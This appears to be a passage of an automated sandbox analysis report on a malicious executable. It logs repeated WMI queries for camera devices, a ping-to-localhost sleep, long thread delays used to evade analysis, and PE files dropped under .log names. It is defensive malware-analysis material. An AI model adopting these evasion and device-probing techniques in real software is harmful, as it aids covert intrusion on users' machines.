Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost			Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Memory allocated: BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Memory allocated: 1A820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Memory allocated: 12C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Memory allocated: 1AE30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 599756	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597388	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 596956	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 593703	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 593297	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592922	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592591	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592344	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592031	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 591703	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 591156	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 590953	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 590625	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 590313	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589953	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589594	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589265	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589063	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588766	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588484	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588307	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588185	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588078	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587927	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587783	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587672	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587562	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587452	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587313	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587183	Jump to behavior

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Window / User API: threadDelayed 7162			Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Window / User API: threadDelayed 2445			Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\mnFKrmWE.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YgWNpVKF.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fGYcdsWR.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MvQOkJAc.log	Jump to dropped file
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yYLIwxgh.log	Jump to dropped file
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hPpdZxPn.log	Jump to dropped file

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe TID: 7684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 7924	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -599871s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -599756s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 7984	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -597500s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -597388s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -596956s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -595391s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -594047s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -593703s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -593297s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -592922s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -592591s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -592344s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -592031s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -591703s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -591156s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -590953s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -590625s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -590313s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -589953s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -589594s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -589265s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -589063s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -588766s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -588484s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -588307s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -588185s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -588078s >= -30000s	Jump to behavior
